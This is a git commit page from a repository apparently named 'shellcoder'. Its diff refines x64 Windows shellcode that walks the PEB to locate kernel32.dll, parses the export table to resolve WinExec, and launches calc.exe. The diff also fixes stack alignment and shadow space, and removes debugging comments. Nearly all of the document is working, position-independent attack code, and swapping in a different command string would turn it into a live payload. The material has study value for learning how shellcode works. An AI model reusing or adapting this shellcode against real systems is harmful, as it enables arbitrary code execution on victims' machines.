admin/Print3M-shellcoder
1
0
Fork 0
mirror of https://github.com/Print3M/shellcoder synced 2026-06-08 12:15:36 +00:00
Code Issues Packages Projects Releases Wiki Activity

Ready to go

Browse Source
This commit is contained in:
Print3M
2024-07-23 16:30:39 +02:00
parent 7a2b0359a9
commit 57803faad8
6 changed files with 94 additions and 154 deletions
Download Patch File Download Diff File Expand all files Collapse all files
shellcode.asm
+43 -44
View File
@@ -1,59 +1,59 @@
[bits 64]
;; TODO: DEBUG this shiiiit (x64dbg)
section .text:
global _start
global _start
_start:
; Access PEB structure
xor rbx, rbx
mov rbx, gs:[0x60] ; RBX = address of PEB struct
mov rbx, [rbx+0x18] ; RBX = address of PEB_LDR_DATA
add rbx, 0x20 ; RBX = address of InMemoryOrderModuleList
mov rbx, gs:[0x60] ; RBX = address of PEB struct
mov rbx, [rbx+0x18] ; RBX = address of PEB_LDR_DATA
add rbx, 0x20 ; RBX = address of InMemoryOrderModuleList
; Go down the double-link list of PEB_LDR_DATA
mov rbx, [rbx] ; RBX = 1st entry in InMemoryOrderModuleList (ntdll.dll)
mov rbx, [rbx] ; RBX = 2st entry in InMemoryOrderModuleList (kernelbase.dll)
mov rbx, [rbx] ; RBX = 3st entry in InMemoryOrderModuleList (kernel32.dll)
mov rbx, [rbx] ; RBX = 1st entry in InMemoryOrderModuleList (ntdll.dll)
mov rbx, [rbx] ; RBX = 2st entry in InMemoryOrderModuleList (kernelbase.dll)
mov rbx, [rbx] ; RBX = 3st entry in InMemoryOrderModuleList (kernel32.dll)
; Get VA address of kernel32.dll
mov rbx, [rbx+0x20] ; RBX = PEB_LDR_DATA.DllBase (address of kernel32.dll)
mov r8, rbx ; R8 = RBX (address of kernel32.dll)
mov rbx, [rbx+0x20] ; RBX = PEB_LDR_DATA.DllBase (address of kernel32.dll)
mov r8, rbx ; R8 = RBX (address of kernel32.dll)
; Get VA address of ExportTable (kernel32.dll)
mov ebx, [r8+0x3c] ; RBX = kernel32.IMAGE_DOS_HEADER.e_lfanew (PE hdrs offset)
add rbx, r8 ; RBX = PeHeaders offset + &kernel32.dll = &PeHeaders
mov ebx, [r8+0x3c] ; RBX = kernel32.IMAGE_DOS_HEADER.e_lfanew (PE hdrs offset)
add rbx, r8 ; RBX = PeHeaders offset + &kernel32.dll = &PeHeaders
xor rcx, rcx
add cl, 0x0088 ; RCX = 0x88 (offset ExportTable RVA)
mov ebx, [rbx+rcx] ; RBX = &PeHeaders + offset ExportTable RVA = ExportTable RVA
add rbx, r8 ; RBX = ExportTable RVA + &kernel32.dll = &ExportTable
mov r9, rbx ; R9 = &ExportTable
add cl, 0x0088 ; RCX = 0x88 (offset ExportTable RVA)
mov ebx, [rbx+rcx] ; RBX = &PeHeaders + offset ExportTable RVA = ExportTable RVA
add rbx, r8 ; RBX = ExportTable RVA + &kernel32.dll = &ExportTable
mov r9, rbx ; R9 = &ExportTable
; Get VA address of ExportTable.AddressOfFunctions
xor r10, r10
mov r10d, [r9+0x1c] ; R10 = ExportTable.AddressOfFunctions RVA
add r10, r8 ; R10 = &kernel32.dll + RVA = &AddressOfFunctions
mov r10d, [r9+0x1c] ; R10 = ExportTable.AddressOfFunctions RVA
add r10, r8 ; R10 = &kernel32.dll + RVA = &AddressOfFunctions
; Get VA address of ExportTable.AddressOfNames
xor r11, r11
mov r11d, [r9+0x20] ; R11 = ExportTable.AddressOfNames RVA
add r11, r8 ; R11 = &kernel32.dll + RVA = &AddressOfNames
mov r11d, [r9+0x20] ; R11 = ExportTable.AddressOfNames RVA
add r11, r8 ; R11 = &kernel32.dll + RVA = &AddressOfNames
; Get VA address of ExportTable.AddressOfNameOrdinals
xor r12, r12
mov r12d, [r9+0x24] ; R12 = ExportTable.AddressOfNameOrdinals RVA
add r12, r8 ; R12 = &kernel32.dll + RVA = &AddressOfNameOrdinals
mov r12d, [r9+0x24] ; R12 = ExportTable.AddressOfNameOrdinals RVA
add r12, r8 ; R12 = &kernel32.dll + RVA = &AddressOfNameOrdinals
; Get address of WinExec function exported from kernel32.dll
xor rcx, rcx
add cl, 0x7 ; RCX = function name length ("WinExec" == 7)
add cl, 7 ; RCX = function name length ("WinExec" == 7)
xor rax, rax
push ax ; STACK + null terminator (2)
mov rax, 0x00636578456E6957 ; RAX = function name = "cexEniW" (WinExec) + 0x00
push rax ; STACK + null terminator (8)
mov rax, 0x00636578456E6957 ; RAX = function name = \0 + "cexEniW" (WinExec)
push rax ; STACK + function name address (8)
mov rsi, rsp ; RSI = &function_name
mov rbx, rsp ; RSI = &function_name
call get_winapi_func
mov r13, rax ; R13 = &WinExec
@@ -64,18 +64,20 @@ mov r13, rax ; R13 = &WinExec
; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0
; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL
; );
xor rax, rax
xor rcx, rcx
xor rdx, rdx
push ax ; STACK + null terminator (2)
mov rax, 0x6578652e636c6163 ; RAX = "exe.clac" (command string: calc.exe)
push rax ; STACK + command string (8)
mov rcx, rsp ; RCX = LPCSTR lpCmdLine
push rcx ; STACK + null terminator (8)
mov rcx, 0x6578652e636c6163 ; RCX = "exe.clac" (command string: calc.exe)
push rcx ; STACK + command string (8)
mov dl, 0x1 ; RDX = UINT uCmdShow = 0x1 (SW_SHOWNORMAL)
; Why is here "sub rsp, 0x20" originally ???
call r13 ; Call WinExec(rax, rdx)
mov rcx, rsp ; RCX = LPCSTR lpCmdLine
mov rdx, 0x1 ; RDX = UINT uCmdShow = 0x1 (SW_SHOWNORMAL)
and rsp, -16 ; 16-byte Stack Alignment
sub rsp, 32 ; STACK + 32 bytes (shadow space)
call r13 ; WinExec("calc.exe", SW_SHOWNORMAL)
get_winapi_func:
; Requirements (preserved):
@@ -84,7 +86,7 @@ get_winapi_func:
; R11 = &AddressOfNames (ExportTable)
; R12 = &AddressOfNameOrdinals (ExportTable)
; Parameters (preserved):
; RSI = (char*) function_name
; RBX = (char*) function_name
; RCX = (int) length of function_name string
; Returns:
; RAX = &function
@@ -98,16 +100,13 @@ get_winapi_func:
; Loop through AddressOfNames array:
; array item = function name RVA (4 bytes)
loop:
mov rcx, [rsp] ; RCX = length of function_name string
xor rdi, rdi ; RDI = 0
mov rcx, [rsp] ; RCX = length of function_name string
mov rsi, rbx ; RSI = (char*) function_name
mov edi, [r11+rax*4] ; RDI = function name RVA
add rdi, r8 ; RDI = &FunctionName = function name RVA + &kernel32.dll
repe cmpsb ; Compare byte at *RDI (array item str) and *RSI (param function name)
; FIXME: Item NOT FOUND: RDI, RSI
; Something's wrong with stack placing of the function name string.
; Why is there "shr rax, 0x8" originally? WTF?
; R11 = correct
repe cmpsb ; Compare byte *RDI (array item str) and *RSI (param function name)
je resolve_func_addr ; Jump if exported function name == param function name
@@ -116,7 +115,7 @@ get_winapi_func:
resolve_func_addr:
pop rcx ; STACK - RCX (8) = remove length of function_name string
mov ax, [r12+rax*2] ; RAX = ordinal number of function = &AddressOfNameOrdinals + (counter * 2)
mov eax, [r10+rax*4] ; RAX = function RVA = &AddressOfFunctions + (ordinal number * 4)
mov ax, [r12+rax*2] ; RAX = OrdinalNumber = &AddressOfNameOrdinals + (counter * 2)
mov eax, [r10+rax*4] ; RAX = function RVA = &AddressOfFunctions + (OrdinalNumber * 4)
add rax, r8 ; RAX = &function = function RVA + &kernel32.dll
ret
ret